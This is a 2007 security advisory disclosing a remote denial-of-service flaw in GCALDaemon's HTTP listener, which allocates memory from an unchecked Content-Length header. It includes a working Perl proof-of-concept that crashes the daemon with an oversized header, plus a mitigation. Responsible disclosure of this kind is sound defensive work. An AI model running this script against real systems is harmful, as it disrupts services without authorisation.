GCALDaemon Remote DoS Sep 18 2007 01:22PM
luca carettoni securenetwork it
Secure Network - Security Research Advisory

Vuln name: GCALDaemon Remote DoS
Systems affected: GCALDaemon 1.0-beta13 (all platforms)
Systems not affected: -
Severity: Low
Local/Remote: Remote
Vendor URL: http://gcaldaemon.sourceforge.net/
Author(s): Luca "ikki" Carettoni - luca.carettoni (at) securenetwork (dot) it [email concealed]
Vendor disclosure: 22nd August 2007
Vendor acknowledged: 22nd August 2007
Vendor patch release: n/a
Public disclosure: 18th September 2007
Advisory number: SN-2007-01
Advisory URL: http://www.securenetwork.it/advisories/, http://www.ikkisoft.com

*** SUMMARY ***

GCALDaemon is an OS-independent Java program that offers two-way synchronization between Google Calendar and various iCalendar compatible calendar applications. GCALDaemon is primarily designed as a calendar synchronizer but it can also be used as a Gmail notifier, Address Book importer, Gmail terminal and RSS feed converter.

Sunbird/Kontact/Firefox/ThunderBird/Mozilla Calendar all share calendars over HTTP, by uploading their file via an HTTP PUT and getting/refreshing their calendar with an HTTP GET. The GCALDaemon's built-in HTTP server keeps this HTTP messages in sync with a specified Google Calendar. An input validation flaw permits to craft an HTTP request with an abnormal content-length value; this malformed request could trigger a denial of service that arises from a Java out of memory fatal error.


Using a crafted HTTP request, an attacker could trigger a denial of service that arises from a java.lang.OutOfMemoryError when the Java heap space is overfilled.
In the file "org/gcaldaemon/core/http/HTTPListener.java", the GCALDaemon's built-in HTTP server parses the HTTP request and the HTTP header parameters without validation checkpoints.
In the line of code "490:org/gcaldaemon/core/http/HTTPListener.java" the "Content-Length" header parameter is used to create a new byte array; when the size of this structure is big enough, it could trigger a Java fatal error that blocks the HTTP daemon:

Exception in thread "HTTP listener" java.lang.OutOfMemoryError: Java heap space
at org.gcaldaemon.core.http.HTTPListener.readRequest(HTTPListener.java:490)

at org.gcaldaemon.core.http.HTTPListener.run(HTTPListener.java:167)

*** EXPLOIT ***

The provided proof-of-concept can trigger the issue.


use strict;
use warnings;
use IO::Socket;

my $host = shift || die "Usage: $0 host [port]\n";
my $port = shift || 9090;
my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, PeerProto => 'tcp')
or die "error: $!\n";
print "GCALDaemom DoS Expoit\n";
print "Just 4 seconds...\n";
sleep 4;
$sock->send("GET / HTTP/1.1\r\n");
$sock->send("Content-Length: 1000000000\r\n\r\n");
print "\n\nNo more sync!\n";


This bug will be fixed in the next version of GCALDaemon.
Thanks to the GCALDaemon's developers for the great tool.


It should be noted that the web server has the possibility to set a group of allowed hostnames or IP addresses; the default configuration is "allow ALL".
Users may be restricted setting the allowed hosts so that remote aggressors cannot trigger this flaw.


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